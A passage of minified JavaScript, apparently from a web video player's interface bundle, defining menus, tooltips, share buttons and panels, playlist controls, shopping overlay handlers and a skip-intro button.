qgH=function(x,T){if(!T.Xt||!x.U.A7()){var t=T.Zm||1E4,u=EC3(T);x.C?T.videoId&&T.videoId!==x.videoId&&(g.xP(x.C),x.videoId=T.videoId,u?(j5f(x,t,T),x.tq()):(x.nz(),x.C.dispose(),x.C=null)):u&&(T.videoId&&(x.videoId=T.videoId),j5f(x,t,T),x.tq())}};
EC3=function(x){var T,t,u,H;return!!((T=x.Nz)==null?0:(t=T.title)==null?0:t.content)||!!((u=x.Nz)==null?0:(H=u.bodyText)==null?0:H.content)};
j5f=function(x,T,t){x.C&&x.C.dispose();x.C=new g.wX(x.aoY,T,x);g.y(x,x.C);var u;T=((u=t.Nz)==null?void 0:u.trackingParams)||null;x.U.setTrackingParams(x.element,T);var H;var I,E;if(t==null?0:(I=t.Nz)==null?0:(E=I.title)==null?0:E.content){var Z;u=(H=t.Nz)==null?void 0:(Z=H.title)==null?void 0:Z.content;var e,l;if((e=t.Nz)==null?0:(l=e.bodyText)==null?0:l.content)u+=" \u2022 ";H=u}else H="";var m,d;t=((m=t.Nz)==null?void 0:(d=m.bodyText)==null?void 0:d.content)||"";x.update({text:H+t,chevron:g.MS()})};
eRX=function(x,T){x.C&&(g.p(T,8)?(x.Z=!0,x.tq(),x.C.start()):(g.p(T,2)||g.p(T,64))&&x.videoId&&(x.videoId=null))};
Mm=function(x){var T=null;try{T=x.toLocaleString("en",{style:"percent"})}catch(t){T=x.toLocaleString(void 0,{style:"percent"})}return T};
AD=function(x,T){var t=0;x=g.S(x);for(var u=x.next();!(u.done||u.value.startTime>T);u=x.next())t++;return t===0?t:t-1};
lVH=function(x,T){for(var t=0,u=g.S(x),H=u.next();!H.done;H=u.next()){H=H.value;if(T<H.timeRangeStartMillis)return null;if(T>=H.timeRangeStartMillis&&T<H.timeRangeStartMillis+H.C)break;t++}t+1<x.length&&x[t+1].timeRangeStartMillis<=T&&t++;return t<x.length?t:null};
msX=function(x,T){T=AD(x,T)+1;return T<x.length?T:-1};
dsJ=function(x,T){return AD(x,T)-1};
M43=function(x,T){return new g.te(x,T,{namespace:"timedMarkerCueRange",priority:9,id:"tm_"+x})};
RR5=function(x,T,t,u,H,I,E,Z){g.nj.call(this);var e=this;this.api=x;this.contextMenu=t;this.vU=u;this.Y6=H;this.C=I;this.D=E;this.progressBar=Z;this.T=new g.wX(function(){Az3(e,!1)},1E3);
this.Z="";this.j={Nx:!1};this.K=!1;g.y(this,this.T);this.V(T,"mousedown",function(){RK(e,!1)});
this.V(t.element,"mousedown",function(){RK(e,!1)});
this.V(T,"keydown",this.dO);this.V(t.element,"keydown",this.dO);this.V(T,"keyup",this.oP);this.V(t.element,"keyup",this.oP)};
Pt3=function(x,T){return T<0?0:Math.floor(Math.min(T,x.api.getDuration())*1E3)};
P7=function(x,T,t){var u=x.api.getCurrentTime(),H=Pt3(x,u);x=Pt3(x,u+T);return{startMediaTimeMs:H,endMediaTimeMs:x,seekSource:t}};
Sgq=function(x){var T,t=(T=x.api.getVideoData())==null?void 0:T.Ty();return x.api.getPresentingPlayerType(t)!==2};
RK=function(x,T){x.K=T;g.Ic(x.api.getRootNode(),"ytp-probably-keyboard-focus",T);g.Ic(x.contextMenu.element,"ytp-probably-keyboard-focus",T)};
c7=function(x,T,t,u){var H=g.Lb(x.api.xm());if(H&&H.loaded){var I=x.api.getSubtitlesUserSettings();H=void 0;for(var E=0;E<g.Sk.length;E++){var Z=g.Sk[E];if(Z.option===T){H=Z.options;break}}E=void 0;for(Z=0;Z<H.length;Z++)H[Z].option===I[T]&&(E=Z);if(u)if(t){if(E===0)return}else if(E===H.length-1)return;u={};u[T]=H[(E+(t?H.length-1:1))%H.length].option;x.api.updateSubtitlesUserSettings(u);Az3(x,!0);x.T.start()}};
Az3=function(x,T){g.Lb(x.api.xm())&&x.api.setOption("captions","sampleSubtitles",T)};
g.Y6=function(x,T){g.Q.call(this,{L:"button",DZ:["ytp-button","ytp-overflow-button"],X:{title:"More","aria-haspopup":"true","aria-owns":T.element.id},W:[{L:"div",G:"ytp-overflow-icon",W:[{L:"svg",X:{height:"100%",viewBox:"-5 -5 36 36",width:"100%"},W:[{L:"path",X:{d:"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z",fill:"#fff"}}]}]}]});var t=this;this.U=x;this.yL=T;this.C=this.visible=!1;x.createClientVe(this.element,
this,16499);this.V(x,"videoplayerreset",this.Nj);this.V(x,"appresize",this.Nj);this.V(x,"fullscreentoggled",this.Nj);this.V(x,"presentingplayerstatechange",this.Nj);this.Nj();cF(x,this.element,this);this.listen("click",function(){x.logClick(t.element);D0(T,t.element,!1)});
this.V(T.closeButton,"click",function(){t.focus()})};
cz3=function(x){g.BF.call(this,x,{L:"div",G:"ytp-overflow-panel",X:{id:Ha(),role:"dialog"},W:[{L:"div",G:"ytp-overflow-panel-content",W:[{L:"div",G:"ytp-overflow-panel-action-buttons",z9:"{{buttons}}"}]},{L:"button",DZ:["ytp-overflow-panel-close","ytp-button"],X:{title:"Close"},W:[g.A3()]}]},250);this.actionButtons=[];this.C=this.Um("ytp-overflow-panel-content");this.closeButton=this.Um("ytp-overflow-panel-close");this.V(this.closeButton,"click",this.nz);cF(x,this.closeButton,this);this.listen("click",
this.Ix);this.V(x,"videoplayerreset",this.hide);this.V(x,"fullscreentoggled",this.onFullscreenToggled);this.hide()};
YgJ=function(x,T){x.actionButtons.includes(T)||(x.actionButtons.push(T),x.updateValue("buttons",x.actionButtons))};
Us3=function(x,T){x=g.S(x.actionButtons);for(var t=x.next();!t.done;t=x.next())t.value.JM(T)};
bL3=function(x,T,t){var u=g.YM(T,t),H=u.ys("default.jpg");g.Q.call(this,{L:"a",DZ:["ytp-video-menu-item","ytp-button"],X:{role:"menuitemradio","aria-label":u.title,href:x.Y().getVideoUrl(u.videoId,T.listId?T.listId.toString():null)},W:[{L:"div",G:"ytp-video-menu-item-index",z9:String(t+1)},{L:"div",G:"ytp-video-menu-item-now-playing",z9:"\u25b6"},{L:"div",G:"ytp-video-menu-item-thumbnail",X:{style:H?"background-image: url("+H+");":void 0}},{L:"div",G:"ytp-video-menu-item-title",z9:u.title},{L:"div",
G:"ytp-video-menu-item-author",z9:u.author}]});this.api=x;this.index=t;this.listen("click",this.onClick)};
rzH=function(x){g.BF.call(this,x,{L:"div",G:"ytp-playlist-menu",X:{role:"dialog",id:Ha()},W:[{L:"div",G:"ytp-playlist-menu-header",W:[{L:"div",G:"ytp-playlist-menu-title",W:[x.Y().j?{L:"span",G:"ytp-playlist-menu-title-name",z9:"{{title}}"}:{L:"a",G:"ytp-playlist-menu-title-name",X:{href:"{{playlisturl}}"},z9:"{{title}}"},{L:"button",DZ:["ytp-playlist-menu-close","ytp-button"],X:{"aria-label":"Close"},W:[g.A3()]}]},{L:"div",G:"ytp-playlist-menu-subtitle",z9:"{{subtitle}}"}]},{L:"div",G:"ytp-playlist-menu-items",
X:{role:"menu"}}]},250);this.api=x;this.j=this.selected=this.K=this.playlist=null;this.items=this.Um("ytp-playlist-menu-items");this.C=new g.nj(this);this.playlistData=[];this.V(this.Um("ytp-playlist-menu-close"),"click",this.nz);var T=this.Um("ytp-playlist-menu-title-name");x.Y().j||(this.j=this.V(T,"click",this.dzQ));g.y(this,this.C);this.hide()};
Ul=function(x,T){g.Q.call(this,{L:"button",DZ:["ytp-playlist-menu-button","ytp-button"],X:{title:"{{title}}","aria-owns":String(T.element.id),"aria-haspopup":"true","aria-label":"Playlist"},W:[{L:"div",G:"ytp-playlist-menu-button-icon",W:[{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,X:{d:"m 22.53,21.42 0,6.85 5.66,-3.42 -5.66,-3.42 0,0 z m -11.33,0 9.06,0 0,2.28 -9.06,0 0,-2.28 0,0 z m 0,-9.14 13.6,0 0,2.28 -13.6,0 0,-2.28 0,0 z m 0,4.57 13.6,0 0,2.28 -13.6,0 0,-2.28 0,0 z",
fill:"#fff"}}]}]},{L:"div",G:"ytp-playlist-menu-button-text",z9:"{{text}}"}]});var t=this;this.api=x;this.playlist=null;this.visible=!1;x.createClientVe(this.element,this,70344);this.V(x,"videodatachange",this.C);this.V(x,"videoplayerreset",this.C);this.V(x,"onPlaylistUpdate",this.C);this.V(x,"presentingplayerstatechange",this.Nj);this.V(x,"appresize",this.Nj);this.hide();this.C();cF(x,this.element,this);this.listen("click",function(){x.logClick(t.element);D0(T,t.element,!1)})};
zRq=function(x,T){g.Q.call(this,{L:"div",G:"ytp-promotooltip-wrapper",W:[{L:"div",G:"ytp-promotooltip-container",W:[{L:"div",G:"ytp-promotooltip-content",W:[{L:"div",G:"ytp-promotooltip-title",z9:"{{title}}"},{L:"div",G:"ytp-promotooltip-details",z9:"{{details}}"}]},{L:"div",G:"ytp-promotooltip-buttons",W:[{L:"div",G:"ytp-promotooltip-dismiss-button",z9:"{{dismissButtonText}}",X:{tabindex:"0"}},{L:"div",G:"ytp-promotooltip-accept-button",z9:"{{acceptButtonText}}",X:{tabindex:"0","aria-haspopup":"true"}}]}]},
{L:"div",G:"ytp-promotooltip-pointer"}]});var t=this;this.tooltipRenderer=x;this.U=T;this.C=this.j=null;this.title=this.Um("ytp-promotooltip-title");this.details=this.Um("ytp-promotooltip-details");this.acceptButton=this.Um("ytp-promotooltip-accept-button");this.dismissButton=this.Um("ytp-promotooltip-dismiss-button");this.Z=this.D=!1;this.K=!0;this.ZZ=this.N=this.S=this.J=!1;this.yF={LI:function(u){t.LI(u)}};
this.ou(!1);x=this.tooltipRenderer.trackingParams||null;if(this.Z=!!x)this.U.createServerVe(this.element,this,!0),this.U.setTrackingParams(this.element,x);this.V(T,"onShowControls",this.Dy);this.V(T,"onHideControls",this.QP);this.V(T,"resize",this.C2);this.V(this.acceptButton,"click",this.GIU);this.V(this.dismissButton,"click",this.PiZ);this.V(document,"click",this.Th)};
kBD=function(x){var T=document.querySelectorAll('[data-tooltip-target-id="'+x.tooltipRenderer.targetId+'"]');T=T.length>0?T[0]:null;var t=g.Q9("ytp-chrome-bottom"),u=g.Q9("ytp-ad-module");x.K=!(t==null||!t.contains(T));x.J=!(u==null||!u.contains(T));x.S=!(T==null||!T.hasAttribute("data-tooltip-target-fixed"));return T};
vC3=function(x,T,t){if(!x.D){if(T){x.tooltipRenderer=T;T=x.tooltipRenderer.text;var u=!1,H;(T==null?0:(H=T.runs)==null?0:H.length)&&T.runs[0].text&&(x.update({title:T.runs[0].text.toString()}),u=!0);g.Y4(x.title,u);T=x.tooltipRenderer.detailsText;H=!1;var I;if((T==null?0:(I=T.runs)==null?0:I.length)&&T.runs[0].text){u=T.runs[0].text.toString();I=u.indexOf("$TARGET_ICON");if(I>-1)if(x.tooltipRenderer.targetId){T=[];u=u.split("$TARGET_ICON");var E=new g.i9({L:"span",G:"ytp-promotooltip-details-icon",
W:[FRf[x.tooltipRenderer.targetId]]});g.y(x,E);for(var Z=[],e=g.S(u),l=e.next();!l.done;l=e.next())l=new g.i9({L:"span",G:"ytp-promotooltip-details-component",z9:l.value}),g.y(x,l),Z.push(l);u.length===2?(T.push(Z[0].element),T.push(E.element),T.push(Z[1].element)):u.length===1&&(I===0?(T.push(E.element),T.push(Z[0].element)):(T.push(Z[0].element),T.push(E.element)));I=T.length?T:null}else I=null;else I=u;if(I){if(typeof I!=="string")for(g.o0(x.details),H=g.S(I),I=H.next();!I.done;I=H.next())x.details.appendChild(I.value);
else x.update({details:I});H=!0}}g.Y4(x.details,H);H=x.tooltipRenderer.acceptButton;I=!1;var m,d,M;((m=g.N(H,g.nx))==null?0:(d=m.text)==null?0:(M=d.runs)==null?0:M.length)&&g.N(H,g.nx).text.runs[0].text&&(x.update({acceptButtonText:g.N(H,g.nx).text.runs[0].text.toString()}),I=!0);g.Y4(x.acceptButton,I);m=x.tooltipRenderer.dismissButton;d=!1;var A,R,Y;((A=g.N(m,g.nx))==null?0:(R=A.text)==null?0:(Y=R.runs)==null?0:Y.length)&&g.N(m,g.nx).text.runs[0].text&&(x.update({dismissButtonText:g.N(m,g.nx).text.runs[0].text.toString()}),
d=!0);g.Y4(x.dismissButton,d)}t&&(x.j=t);x.C=kBD(x);x.N=!1;x.U.Y().B("web_player_hide_nitrate_promo_tooltip")||x.ou(!0);hRJ(x);x.lN&&!x.ZZ&&(x.ZZ=!0,x.yF.LI(0));x.Z&&x.U.logVisibility(x.element,x.lN)}};
bi=function(x){x.ou(!1);x.Z&&x.U.logVisibility(x.element,x.lN)};
V4f=function(x){var T,t,u,H=((T=g.N(x.acceptButton,g.nx))==null?void 0:(t=T.text)==null?void 0:(u=t.runs)==null?void 0:u.length)&&!!g.N(x.acceptButton,g.nx).text.runs[0].text,I,E,Z;T=((I=g.N(x.dismissButton,g.nx))==null?void 0:(E=I.text)==null?void 0:(Z=E.runs)==null?void 0:Z.length)&&!!g.N(x.dismissButton,g.nx).text.runs[0].text;return H||T};
hRJ=function(x){var T;if(!(T=!x.C)){T=x.C;var t=window.getComputedStyle(T);T=t.display==="none"||t.visibility==="hidden"||T.getAttribute("aria-hidden")==="true"}if(T||x.U.isMinimized())x.ou(!1);else if(T=g.cf(x.C),T.width&&T.height){x.U.hf(x.element,x.C);var u=x.U.bG().getPlayerSize().height;t=g.cf(x.Um("ytp-promotooltip-container")).height;x.K?x.element.style.top=u-t-T.height-12+"px":x.S||(u=x.U.Ny().height-t-T.height-12,x.element.style.top=u+"px");u=x.Um("ytp-promotooltip-pointer");var H=g.Pf(x.C,
x.U.getRootNode()),I=Number(x.element.style.left.replace(/[^\d\.]/g,""));x=x.U.isFullscreen()?18:12;u.style.left=H.x-I+T.width/2-x+"px";u.style.top=t+"px"}else x.ou(!1)};
rG=function(x){g.Q.call(this,{L:"button",DZ:["ytp-replay-button","ytp-button"],X:{title:"Replay"},W:[g.UV()]});this.U=x;this.V(x,"presentingplayerstatechange",this.onStateChange);this.listen("click",this.onClick,this);this.vk(x.getPlayerStateObject());cF(this.U,this.element,this)};
za=function(x,T){T=T===void 0?240:T;g.Q.call(this,{L:"button",DZ:["ytp-button","ytp-search-button"],X:{title:"Search","data-tooltip-opaque":String(g.zw(x.Y()))},W:[{L:"div",G:"ytp-search-icon",z9:"{{icon}}"},{L:"div",G:"ytp-search-title",z9:"Search"}]});this.api=x;this.Z=T;this.visible=!1;this.updateValue("icon",{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 24 24",width:"100%"},W:[{L:"path",G:"ytp-svg-fill",X:{d:"M21.24,19.83l-5.64-5.64C16.48,13.02,17,11.57,17,10c0-3.87-3.13-7-7-7s-7,3.13-7,7c0,3.87,3.13,7,7,7 c1.57,0,3.02-0.52,4.19-1.4l5.64,5.64L21.24,19.83z M5,10c0-2.76,2.24-5,5-5s5,2.24,5,5c0,2.76-2.24,5-5,5S5,12.76,5,10z"}}]});
x.createClientVe(this.element,this,184945);this.listen("click",this.onClick);this.C();this.V(x,"appresize",this.C);this.V(x,"videodatachange",this.C);cF(x,this.element,this)};
g.k6=function(x,T,t,u){u=u===void 0?240:u;g.Q.call(this,{L:"button",DZ:["ytp-button","ytp-share-button"],X:{title:"Share","aria-haspopup":"true","aria-owns":t.element.id,"data-tooltip-opaque":String(g.zw(x.Y()))},W:[{L:"div",G:"ytp-share-icon",z9:"{{icon}}"},{L:"div",G:"ytp-share-title",z9:"Share"}]});this.api=x;this.C=T;this.j=t;this.K=u;this.Z=this.visible=!1;this.tooltip=this.C.lD();x.createClientVe(this.element,this,28664);this.listen("click",this.onClick);this.V(x,"videodatachange",this.Nj);
this.V(x,"videoplayerreset",this.Nj);this.V(x,"appresize",this.Nj);this.V(x,"presentingplayerstatechange",this.Nj);this.Nj();this.addOnDisposeCallback(g.Sx(this.tooltip,this.element))};
GBi=function(x){var T=x.api.Y(),t=x.api.getVideoData(),u=g.zw(T)&&g.kh(x.api)&&g.p(x.api.getPlayerStateObject(),128);T=T.j||T.disableSharing&&x.api.getPresentingPlayerType()!==2||!t.showShareButton||t.Yn||u||g.Tt(t)||x.Z;u=x.api.bG().getPlayerSize().width;return!!t.videoId&&u>=x.K&&!T};
LRq=function(x,T){T.name!=="InvalidStateError"&&T.name!=="AbortError"&&(T.name==="NotAllowedError"?(x.C.dG(),D0(x.j,x.element,!1)):g.vW(T))};
aVv=function(x,T){var t=Ha(),u=x.Y();t={L:"div",G:"ytp-share-panel",X:{id:Ha(),role:"dialog","aria-labelledby":t},W:[{L:"div",G:"ytp-share-panel-inner-content",W:[{L:"div",G:"ytp-share-panel-title",X:{id:t},z9:"Share"},{L:"a",DZ:["ytp-share-panel-link","ytp-no-contextmenu"],X:{href:"{{link}}",target:u.S,title:"Share link","aria-label":"{{shareLinkWithUrl}}"},z9:"{{linkText}}"},{L:"label",G:"ytp-share-panel-include-playlist",W:[{L:"input",G:"ytp-share-panel-include-playlist-checkbox",X:{type:"checkbox",
checked:"true"}},"Include playlist"]},{L:"div",G:"ytp-share-panel-loading-spinner",W:[$z()]},{L:"div",G:"ytp-share-panel-service-buttons",z9:"{{buttons}}"},{L:"div",G:"ytp-share-panel-error",z9:"An error occurred while retrieving sharing information. Please try again later."}]},{L:"button",DZ:["ytp-share-panel-close","ytp-button"],X:{title:"Close"},W:[g.A3()]}]};g.BF.call(this,x,t,250);var H=this;this.moreButton=null;this.api=x;this.tooltip=T.lD();this.j=[];this.D=this.Um("ytp-share-panel-inner-content");
this.closeButton=this.Um("ytp-share-panel-close");this.V(this.closeButton,"click",this.nz);this.addOnDisposeCallback(g.Sx(this.tooltip,this.closeButton));this.K=this.Um("ytp-share-panel-include-playlist-checkbox");this.V(this.K,"click",this.Nj);this.C=this.Um("ytp-share-panel-link");this.addOnDisposeCallback(g.Sx(this.tooltip,this.C));this.api.createClientVe(this.C,this,164503);this.V(this.C,"click",function(I){I.preventDefault();H.api.logClick(H.C);var E=H.api.getVideoUrl(!0,!0,!1,!1);E=nCH(H,E);
g.uL(E,H.api,I)&&H.api.XW("SHARE_CLICKED")});
this.listen("click",this.hh);this.V(x,"videoplayerreset",this.hide);this.V(x,"fullscreentoggled",this.onFullscreenToggled);this.V(x,"onLoopRangeChange",this.LeY);this.hide()};
BWJ=function(x,T){gCf(x);for(var t=T.links||T.shareTargets,u=0,H={},I=0;I<t.length&&u<2;H={Vu:void 0,zP:void 0},I++){H.Vu=t[I];a:switch(H.Vu.img||H.Vu.iconId){case "facebook":var E={L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 38 38",width:"100%"},W:[{L:"rect",X:{fill:"#fff",height:"34",width:"34",x:"2",y:"2"}},{L:"path",X:{d:"M 34.2,0 3.8,0 C 1.70,0 .01,1.70 .01,3.8 L 0,34.2 C 0,36.29 1.70,38 3.8,38 l 30.4,0 C 36.29,38 38,36.29 38,34.2 L 38,3.8 C 38,1.70 36.29,0 34.2,0 l 0,0 z m -1.9,3.8 0,5.7 -3.8,0 c -1.04,0 -1.9,.84 -1.9,1.9 l 0,3.8 5.7,0 0,5.7 -5.7,0 0,13.3 -5.7,0 0,-13.3 -3.8,0 0,-5.7 3.8,0 0,-4.75 c 0,-3.67 2.97,-6.65 6.65,-6.65 l 4.75,0 z",
fill:"#39579b"}}]};break a;case "twitter":E={L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 38 38",width:"100%"},W:[{L:"rect",X:{fill:"#fff",height:"34",width:"34",x:"2",y:"2"}},{L:"path",X:{d:"M 34.2,0 3.8,0 C 1.70,0 .01,1.70 .01,3.8 L 0,34.2 C 0,36.29 1.70,38 3.8,38 l 30.4,0 C 36.29,38 38,36.29 38,34.2 L 38,3.8 C 38,1.70 36.29,0 34.2,0 l 0,0 z M 29.84,13.92 C 29.72,22.70 24.12,28.71 15.74,29.08 12.28,29.24 9.78,28.12 7.6,26.75 c 2.55,.40 5.71,-0.60 7.41,-2.06 -2.50,-0.24 -3.98,-1.52 -4.68,-3.56 .72,.12 1.48,.09 2.17,-0.05 -2.26,-0.76 -3.86,-2.15 -3.95,-5.07 .63,.28 1.29,.56 2.17,.60 C 9.03,15.64 7.79,12.13 9.21,9.80 c 2.50,2.75 5.52,4.99 10.47,5.30 -1.24,-5.31 5.81,-8.19 8.74,-4.62 1.24,-0.23 2.26,-0.71 3.23,-1.22 -0.39,1.23 -1.17,2.09 -2.11,2.79 1.03,-0.14 1.95,-0.38 2.73,-0.77 -0.47,.99 -1.53,1.9 -2.45,2.66 l 0,0 z",
fill:"#01abf0"}}]};break a;default:E=null}if(E){var Z=H.Vu.sname||H.Vu.serviceName;H.zP=new g.Q({L:"a",DZ:["ytp-share-panel-service-button","ytp-button"],X:{href:H.Vu.url,target:"_blank",title:Z},W:[E]});H.zP.listen("click",function(m){return function(d){var M=m.Vu.url;if(g.cu(d)){var A=A===void 0?{}:A;A.target=A.target||"YouTube";A.width=A.width||"600";A.height=A.height||"600";var R=A;R||(R={});A=window;var Y=M instanceof rE?M:g.hG(typeof M.href!="undefined"?M.href:String(M));var b=self.crossOriginIsolated!==
void 0,z="strict-origin-when-cross-origin";window.Request&&(z=(new Request("/")).referrerPolicy);var F=z==="unsafe-url";z=R.noreferrer;if(b&&z){if(F)throw Error("Cannot use the noreferrer option on a page that sets a referrer-policy of `unsafe-url` in modern browsers!");z=!1}M=R.target||M.target;b=[];for(var V in R)switch(V){case "width":case "height":case "top":case "left":b.push(V+"="+R[V]);break;case "target":case "noopener":case "noreferrer":break;case "attributionsrc":b.push(V+(R[V]?"="+R[V]:
""));break;default:b.push(V+"="+(R[V]?1:0))}V=b.join(",");JM()&&A.navigator&&A.navigator.standalone&&M&&M!="_self"?(V=g.Xn("A"),g.VD(V,Y),V.target=M,z&&(V.rel="noreferrer"),((R=R.attributionsrc)||R==="")&&V.setAttribute("attributionsrc",R),R=document.createEvent("MouseEvent"),R.initMouseEvent("click",!0,!0,A,1),V.dispatchEvent(R),A={}):z?(A=g.aI(A,"",M,V),R=g.z1(Y),A&&(A.opener=null,R===""&&(R="javascript:''"),R=Ld('<meta name="referrer" content="no-referrer"><meta http-equiv="refresh" content="0; url='+
wE(R)+'">'),(Y=A.document)&&Y.write&&(Y.write(nd(R)),Y.close()))):((A=g.aI(A,Y,M,V))&&R.noopener&&(A.opener=null),A&&R.noreferrer&&(A.opener=null));A&&(A.opener||(A.opener=window),A.focus());d.preventDefault()}}}(H));
H.zP.addOnDisposeCallback(g.Sx(x.tooltip,H.zP.element));Z==="Facebook"?x.api.createClientVe(H.zP.element,H.zP,164504):Z==="Twitter"&&x.api.createClientVe(H.zP.element,H.zP,164505);x.V(H.zP.element,"click",function(m){return function(){x.api.logClick(m.zP.element)}}(H));
x.api.logVisibility(H.zP.element,!0);x.j.push(H.zP);u++}}var e=T.more||T.moreLink,l=new g.Q({L:"a",DZ:["ytp-share-panel-service-button","ytp-button"],W:[{L:"span",G:"ytp-share-panel-service-button-more",W:[{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 38 38",width:"100%"},W:[{L:"rect",X:{fill:"#fff",height:"34",width:"34",x:"2",y:"2"}},{L:"path",X:{d:"M 34.2,0 3.8,0 C 1.70,0 .01,1.70 .01,3.8 L 0,34.2 C 0,36.29 1.70,38 3.8,38 l 30.4,0 C 36.29,38 38,36.29 38,34.2 L 38,3.8 C 38,1.70 36.29,0 34.2,0 Z m -5.7,21.85 c 1.57,0 2.85,-1.27 2.85,-2.85 0,-1.57 -1.27,-2.85 -2.85,-2.85 -1.57,0 -2.85,1.27 -2.85,2.85 0,1.57 1.27,2.85 2.85,2.85 z m -9.5,0 c 1.57,0 2.85,-1.27 2.85,-2.85 0,-1.57 -1.27,-2.85 -2.85,-2.85 -1.57,0 -2.85,1.27 -2.85,2.85 0,1.57 1.27,2.85 2.85,2.85 z m -9.5,0 c 1.57,0 2.85,-1.27 2.85,-2.85 0,-1.57 -1.27,-2.85 -2.85,-2.85 -1.57,0 -2.85,1.27 -2.85,2.85 0,1.57 1.27,2.85 2.85,2.85 z",
fill:"#4e4e4f","fill-rule":"evenodd"}}]}]}],X:{href:e,target:"_blank",title:"More"}});l.listen("click",function(m){var d=e;x.api.logClick(x.moreButton.element);d=nCH(x,d);g.uL(d,x.api,m)&&x.api.XW("SHARE_CLICKED")});
l.addOnDisposeCallback(g.Sx(x.tooltip,l.element));x.api.createClientVe(l.element,l,164506);x.V(l.element,"click",function(){x.api.logClick(l.element)});
x.api.logVisibility(l.element,!0);x.j.push(l);x.moreButton=l;x.updateValue("buttons",x.j)};
nCH=function(x,T){var t={};g.zw(x.api.Y())&&(g.ET(x.api,"addEmbedsConversionTrackingParams",[t]),T=g.NY(T,t));return T};
gCf=function(x){for(var T=g.S(x.j),t=T.next();!t.done;t=T.next())t=t.value,t.detach(),g.IP(t);x.j=[]};
FQ=function(x){return x===void 0||x.startSec===void 0||x.endSec===void 0?!1:!0};
WR3=function(x,T){x.startSec+=T;x.endSec+=T};
yzi=function(x){gk.call(this,x);this.Z=this.C=this.isContentForward=this.N=!1;DsJ(this);this.V(this.U,"changeProductsInVideoVisibility",this.kyY);this.V(this.U,"videodatachange",this.onVideoDataChange)};
NWD=function(x){x.D&&x.hQ.element.removeChild(x.D.element);x.D=void 0};
CtJ=function(x,T){return T.map(function(t){var u,H;if((t=(u=g.N(t,JzV))==null?void 0:(H=u.thumbnail)==null?void 0:H.thumbnails)&&t.length!==0)return t[0].url}).filter(function(t){return t!==void 0}).map(function(t){t=new g.Q({L:"img",
G:"ytp-suggested-action-product-thumbnail",X:{alt:"",src:t}});g.y(x,t);return t})};
Q55=function(x,T){x.isContentForward=T;g.Ic(x.badge.element,"ytp-suggested-action-badge-content-forward",T)};
hD=function(x){var T=x.isContentForward&&!x.r7();g.Ic(x.badge.element,"ytp-suggested-action-badge-preview-collapsed",T&&x.C);g.Ic(x.badge.element,"ytp-suggested-action-badge-preview-expanded",T&&x.Z)};
v7=function(x,T,t){return new g.te(x*1E3,T*1E3,{priority:9,namespace:t})};
ph4=function(x){x.U.Xa("shopping_overlay_visible");x.U.Xa("shopping_overlay_preview_collapsed");x.U.Xa("shopping_overlay_preview_expanded");x.U.Xa("shopping_overlay_expanded")};
DsJ=function(x){x.V(x.U,g.$m("shopping_overlay_visible"),function(){x.oH(!0)});
x.V(x.U,g.Hv("shopping_overlay_visible"),function(){x.oH(!1)});
x.V(x.U,g.$m("shopping_overlay_expanded"),function(){x.jY=!0;az(x)});
x.V(x.U,g.Hv("shopping_overlay_expanded"),function(){x.jY=!1;az(x)});
x.V(x.U,g.$m("shopping_overlay_preview_collapsed"),function(){x.C=!0;hD(x)});
x.V(x.U,g.Hv("shopping_overlay_preview_collapsed"),function(){x.C=!1;hD(x)});
x.V(x.U,g.$m("shopping_overlay_preview_expanded"),function(){x.Z=!0;hD(x)});
x.V(x.U,g.Hv("shopping_overlay_preview_expanded"),function(){x.Z=!1;hD(x)})};
whm=function(x){g.Q.call(this,{L:"div",G:"ytp-shorts-title-channel",W:[{L:"a",G:"ytp-shorts-title-channel-logo",X:{href:"{{channelLink}}",target:x.Y().S,"aria-label":"{{channelLogoLabel}}"}},{L:"div",G:"ytp-shorts-title-expanded-heading",W:[{L:"div",G:"ytp-shorts-title-expanded-title",W:[{L:"a",z9:"{{expandedTitle}}",X:{href:"{{channelTitleLink}}",target:x.Y().S,tabIndex:"0"}}]}]}]});var T=this;this.api=x;this.C=this.Um("ytp-shorts-title-channel-logo");this.channelName=this.Um("ytp-shorts-title-expanded-title");
this.subscribeButton=null;x.createClientVe(this.C,this,36925);this.V(this.C,"click",function(t){T.api.logClick(T.C);g.aI(window,OL4(T));t.preventDefault()});
x.createClientVe(this.channelName,this,37220);this.V(this.channelName,"click",function(t){T.api.logClick(T.channelName);g.aI(window,OL4(T));t.preventDefault()});
fVv(this);this.V(x,"videodatachange",this.Nj);this.V(x,"videoplayerreset",this.Nj);this.Nj()};
fVv=function(x){if(!x.api.Y().Zk){var T=x.api.getVideoData(),t=new g.ii("Subscribe",null,"Subscribed",null,!0,!1,T.dP,T.subscribed,"channel_avatar",null,x.api,!0);x.api.createServerVe(t.element,x);var u;x.api.setTrackingParams(t.element,((u=T.subscribeButtonRenderer)==null?void 0:u.trackingParams)||null);x.V(t.element,"click",function(){x.api.logClick(t.element)});
x.subscribeButton=t;g.y(x,x.subscribeButton);x.subscribeButton.yU(x.element)}};
OL4=function(x){var T=x.api.Y(),t=x.api.getVideoData();t=g.tj(T)+t.hM;if(!g.zw(T))return t;T={};g.ET(x.api,"addEmbedsConversionTrackingParams",[T]);return g.NY(t,T)};
V8=function(x){g.BF.call(this,x,{L:"button",DZ:["ytp-skip-intro-button","ytp-popup","ytp-button"],W:[{L:"div",G:"ytp-skip-intro-button-text",z9:"Skip Intro"}]},100);var T=this;this.j=!1;this.C=new g.wX(function(){T.hide()},5E3);
this.mY=this.nU=NaN;g.y(this,this.C);this.N=function(){T.show()};
this.D=function(){T.hide()};
this.K=function(){var t=T.U.getCurrentTime();t>T.nU/1E3&&t<T.mY/1E3&&T.show()};
this.V(this.U,"videodatachange",function(t,u){T.NC(t,u)});
this.V(this.element,"click",function(){T.U.seekTo(T.mY/1E3)});
this.hide()};
Ga=function(x){g.Q.call(this,{L:"button",DZ:["ytp-airplay-button","ytp-button"],X:{title:"AirPlay","data-priority":"10"},z9:"{{icon}}"});this.U=x;this.listen("click",this.onClick);this.V(x,"airplayactivechange",this.Nj);this.V(x,"airplayavailabilitychange",this.Nj);this.Nj();cF(x,this.element,this)};
